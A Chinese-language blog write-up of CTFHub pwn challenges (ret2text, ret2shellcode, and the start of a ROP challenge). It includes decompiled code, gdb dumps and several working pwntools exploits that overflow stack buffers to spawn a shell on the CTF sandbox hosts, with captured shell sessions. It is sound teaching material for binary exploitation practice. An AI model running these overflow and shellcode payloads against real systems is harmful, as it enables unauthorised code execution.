【ctf题目系列】ctfhub pwn类型

ret2text

原理

ret2text顾名思义,即控制返回地址指向程序本身已有的的代码(.text)并执行。

checksec检查

检查二进制:64位二进制,有可执行权限

1
2
3
4
5
6
7
8
9
10
[root@ningan ctfhub]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfhub/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

ida分析

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[112]; // [rsp+0h] [rbp-70h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2text.Input someting:");
gets(v4);
puts("bye");
return 0;
}

有一个secure函数,里面有system('/bin/sh'),需要找到 system('/bin/sh')函数的地址,这样就可以利用该函数获取shell

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int secure()
{
unsigned int v0; // eax
int result; // eax
int v2; // [rsp+8h] [rbp-8h] BYREF
int v3; // [rsp+Ch] [rbp-4h]

v0 = time(0LL);
srand(v0);
v3 = rand();
__isoc99_scanf(&unk_4008C8, &v2);
result = v2;
if ( v3 == v2 )
return system("/bin/sh");
return result;
}

在system(“/bin/sh”);后面摁tab

image.png

image.png

用反汇编,获取到system函数的地址。由于要完整调用,所以取lea指令的位置:0x00000000004007b8,也就是0x4007b8
/bin/sh的地址为:0x4008CB

!!!重点!!!

此处,拿的是lea指令的位置

gdb分析函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> disassemble secure
Dump of assembler code for function secure:
0x0000000000400777 <+0>: push rbp
0x0000000000400778 <+1>: mov rbp,rsp
0x000000000040077b <+4>: sub rsp,0x10
0x000000000040077f <+8>: mov edi,0x0
0x0000000000400784 <+13>: call 0x400640 <time@plt>
0x0000000000400789 <+18>: mov edi,eax
0x000000000040078b <+20>: call 0x400630 <srand@plt>
0x0000000000400790 <+25>: call 0x400680 <rand@plt>
0x0000000000400795 <+30>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400798 <+33>: lea rax,[rbp-0x8]
0x000000000040079c <+37>: mov rsi,rax
0x000000000040079f <+40>: lea rdi,[rip+0x122] # 0x4008c8
0x00000000004007a6 <+47>: mov eax,0x0
0x00000000004007ab <+52>: call 0x400670 <__isoc99_scanf@plt>
0x00000000004007b0 <+57>: mov eax,DWORD PTR [rbp-0x8]
0x00000000004007b3 <+60>: cmp DWORD PTR [rbp-0x4],eax
0x00000000004007b6 <+63>: jne 0x4007c4 <secure+77>
0x00000000004007b8 <+65>: lea rdi,[rip+0x10c] # 0x4008cb
0x00000000004007bf <+72>: call 0x400620 <system@plt>
0x00000000004007c4 <+77>: nop
0x00000000004007c5 <+78>: leave
0x00000000004007c6 <+79>: ret
End of assembler dump.

再用反汇编查看secure函数的代码,确定system(“/bin/sh”)的地址为0x00000000004007b8,即0x4007b8

gdb分析偏移

1
2
3
4
5
b main
run
n
n

输入一串指令“AAAAAAAA”,查看stack,找到变量和rbp的距离

image.png

由于rbp指向的是old rbp,所以还需要加上8字节的填充

解题思路

存在后门函数,直接把返回地址填写为后门函数的地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
默认栈帧
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
v4--->+-----------------+

修改后栈帧
+-----------------+
| (retaddr) |
| 后门函数_addr |
+-----------------+
| (saved ebp) |
| BBBBBBBBB |
ebp--->+-----------------+
| |
| |
| AAA...AAAA |
| |
| |
| |
v4--->+-----------------+

exp

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# io = process("./pwn")
io = remote("challenge-1ca238f0d4e5a4be.sandbox.ctfhub.com", 28062)

context.arch = "amd64"

padding = b'A' * 112 + b'BBBBBBBB'
return_addr = 0x4007b8
payload = padding + p64(return_addr)

io.sendline(payload)
io.interactive()

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64',os='linux')

host='challenge-1ca238f0d4e5a4be.sandbox.ctfhub.com'
port=28062
io=connect(host,port)

padding = 0x78 # 16*7=112
return_addr = 0x4007b8
payload = flat(['a'*padding,return_addr])

io.sendline(payload)
io.interactive()

exp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

host = 'challenge-1ca238f0d4e5a4be.sandbox.ctfhub.com'
port = 28062

#p = process("./pwn")
p = connect(host, port)

padding = bytes('A',encoding="utf8") * 0x78
return_addr = 0x4007b8
payload = padding + p64(return_addr)#类型不同不能拼接

p.sendline(payload)
p.interactive()

exp4

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = remote("challenge-1ca238f0d4e5a4be.sandbox.ctfhub.com", 28062)

padding = b'A' * 112 + b'BBBBBBBB'
return_addr = 0x4007b8
payload = padding + p64(return_addr)

io.sendlineafter('Welcome to CTFHub ret2text.Input someting:\n', payload)
io.interactive()

最终结果

image.png

知识点

汇编语言中mov和lea的区别

lea是“load effective address”的缩写,简单的说,lea指令可以用来将一个内存地址直接赋给目的操作数,例如:

lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax,而不是把ebx+8处的内存地址里的数据赋给eax。

而mov指令则恰恰相反,例如:

mov eax,[ebx+8]则是把内存地址为ebx+8处的数据赋给eax。

参考

# CTFhub 技能树 PWN ret2text Python3 exp
# CTFhub-pwn-[ret2text]-writeup
# ctfhub 官方 ret2text
# 汇编语言中mov和lea的区别有哪些?

ret2shellcode

1
2
3
4
5
6
[root@ningan ret2shellcode]# ./pwn
Welcome to CTFHub ret2shellcode!
What is it : [0x7ffef2f86cb0] ?
Input someting :
1234qwer

1
2
3
4
5
6
7
8
9
10
[root@ningan ret2shellcode]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfhub/ret2shellcode/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

ida分析

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to CTFHub ret2shellcode!");
printf("What is it : [%p] ?\n", buf);
puts("Input someting : ");
read(0, buf, 0x400uLL);
return 0;
}

gdb分析偏移

image.png

image.png

在上图可以看到,栈有可执行权限

可以把 shellcode 放在返回地址之后,然后把返回地址指向 shellcode。

解题思路

栈可执行,把shellcode放到栈上就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
默认栈帧
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
buf--->+-----------------+

修改后栈帧
+-----------------+
| shellcode |
+-----------------+
| (retaddr) |
| shellcode_addr |
+-----------------+
| (saved ebp) |
| BBBBBBBBB |
ebp--->+-----------------+
| |
| |
| AAA...AAAA |
| |
| |
| |
buf--->+-----------------+

exp

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import re

io = process("./pwn")
# io = remote("challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com", 25197)

context.arch='amd64'
shellcode = asm(shellcraft.sh())
print('shellcode:',shellcode)
print('len(shellcode):',len(shellcode))

buf_addr = io.recvuntil(']') #截取到]为止的字符串
print('buf_addr:',buf_addr)
buf_addr = buf_addr[-15:-1]
print('buf_addr:',buf_addr)
buf_addr = int(buf_addr[-15:-1],16) #处理一下 然后为16进制
print('buf_addr:',buf_addr)

shellcode_addr = buf_addr+32 #0x10+0x08+0x08 十进制为32
payload = b'a'*(0x10+0x08) + p64(shellcode_addr) + shellcode
print('payload:',payload)

io.sendline(payload)
io.interactive()

# python
# >>> hex(140726337563760)
# '0x7ffd675c6c70'

"""
[root@ningan ret2shellcode]# python exp.py
[+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done
shellcode: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
len(shellcode): 48
buf_addr: b'Welcome to CTFHub ret2shellcode!\nWhat is it : [0x7ffd675c6c70]'
buf_addr: b'0x7ffd675c6c70'
buf_addr: 140726337563760
payload: b'aaaaaaaaaaaaaaaaaaaaaaaa\x90l\\g\xfd\x7f\x00\x00jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[*] Switching to interactive mode
?
Input someting :
$ ls
bin
dev
flag
lib
lib32
lib64
pwn
$ cat flag
ctfhub{0ac15488cb9e428301839991}
$
[*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197
"""

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(arch='amd64',os='linux')

host='challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com'
port=25197
io=connect(host,port)


padding=0x18
#Get the addr of buf
io.recvuntil('[')
buf_addr=io.recvuntil(']',drop=True)
io.recvuntil('Input someting :')
print('buf_addr:',buf_addr)


payload=flat(['a'*padding, p64(int(buf_addr,16)+32), asm(shellcraft.sh())])
print('payload:',payload)


io.sendline(payload)
io.interactive()

"""
[root@ningan ret2shellcode]# python exp2.py
[+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done
buf_addr: b'0x7ffd6f060390'
payload: b'aaaaaaaaaaaaaaaaaaaaaaaa\xb0\x03\x06o\xfd\x7f\x00\x00jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[*] Switching to interactive mode

$ ls
bin
dev
flag
lib
lib32
lib64
pwn
$
$ cat flag
ctfhub{0ac15488cb9e428301839991}
$
[*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197

"""

exp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

# context(os="linux", arch="amd64", log_level='debug')
context(os="linux", arch="amd64")
# io = process('ret2shellcode')
io = remote("challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com", 25197)

io.recvuntil(b'[')
buf_address = int(io.recvuntil(b']')[:-1].decode('utf-8'), 16)
log.success('buf_address => %s' % hex(buf_address).upper())

shellcode_address = buf_address+0x20 # buf与rbp的距离0x10 + rbp的宽度0x8 + 返回地址的长度0x8
log.success('buf_address => %s' % hex(shellcode_address).upper())

shellcode = asm(shellcraft.sh())
payload = b'a'*0x10 + b'fuckpwn!' + p64(shellcode_address) + shellcode

io.recv()
io.sendline(payload)
io.interactive()


"""
[root@ningan ret2shellcode]# python exp3.py
[+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done
[+] buf_address => 0X7FFC5FC266B0
[+] buf_address => 0X7FFC5FC266D0
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
pwn
$
$ cat flaf
cat: flaf: No such file or directory
$
$ cat g
cat: g: No such file or directory
$
$ cat flag
ctfhub{0ac15488cb9e428301839991}
$
[*] Interrupted
[*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197

"""

exp4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

host = 'challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com'
port = 25197
p = connect(host,port)

p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True) # 获取buf地址
print('buf_addr:',buf_addr)

p.recvuntil('Input someting : ') # 执行直到出现这句话
shell=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = b'a'*24 + p64(int(buf_addr,16)+32) + shell

p.sendline(payload)
p.interactive()


"""
[root@ningan ret2shellcode]# python exp4.py
[+] Opening connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com on port 25197: Done
buf_addr: b'0x7fff875469b0'
[*] Switching to interactive mode

$ ls
bin
dev
flag
lib
lib32
lib64
pwn
$
$ cat flag
ctfhub{0ac15488cb9e428301839991}
$
[*] Interrupted
[*] Closed connection to challenge-33d6be8b1c0e3fac.sandbox.ctfhub.com port 25197

"""

ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@ningan ROP]# ./pwn
Welcome to CTFHub rop.Input someting:

1234567890
[root@ningan ROP]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/ctfhub/ROP/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[root@ningan ROP]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5d131f24a3b86fc859f2cfade17eb92888ff738, not stripped

ida分析

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

return read(0, buf, 0x200uLL);
}

!!!重点!!!

这道题是 没有 sytem函数 和 bin/sh 来供我们利用的 rop_x64,泄露libc


【ctf题目系列】ctfhub pwn类型
http://example.com/2023/08/21/ctf/【ctf题目系列】ctfhub pwn类型/
作者
ningan123
发布于
2023年8月21日
许可协议